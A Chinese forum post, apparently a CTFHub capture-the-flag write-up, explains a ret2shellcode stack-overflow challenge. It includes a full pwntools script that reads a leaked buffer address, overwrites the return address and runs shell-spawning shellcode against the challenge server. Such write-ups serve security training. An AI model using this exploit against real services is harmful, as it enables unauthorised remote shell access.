【ctfhub】栈溢出ret2shellcode

alglsf666

题目文件(ctfhub要开环境才能下载，所以我直接发给你们研究)


checksec意思一下


ida，启动！


明显栈溢出（题目都叫这个名字了）
再看看栈


过程：
伪代码写了题目交互会给buf地址，先接收
buf,var_8,s全都填充就好了，
把shellcode放在这里全部变量的后面，也就是buf地址+32
返回地址r覆写成shellcode地址
结果就是跳到shellcode地址执行shellcode

实现代码

1. from pwn import *
   
2. 
   
3. # context.log_level = "debug"
   
4. context.arch = 'amd64'
   
5. 
   
6. # p = process("./pwn")
   
7. p = remote("challenge-a43794078f70a174.sandbox.ctfhub.com", 24635)
   
8. buf_addr = p.recvuntil("]")
   
9. buf_addr = int(buf_addr[-15: -1], 16)
   
10. shellcode_address = buf_addr + 32 #shellcode地址=buf+var_8+s+r+返回地址
    
11. shellcode = asm(shellcraft.sh())
    
12. #payload填充buf+var_8+s,返回地址覆写为自己的下个字节也就是shellcode地址
    
13. payload = b'A'*(8*3) + p64(shellcode_address) + shellcode
    
14. p.recv()
    
15. p.sendline(payload)
    
16. p.interactive()
    

复制代码

getshell ！

H.U.C清风

谢谢分享，已回复。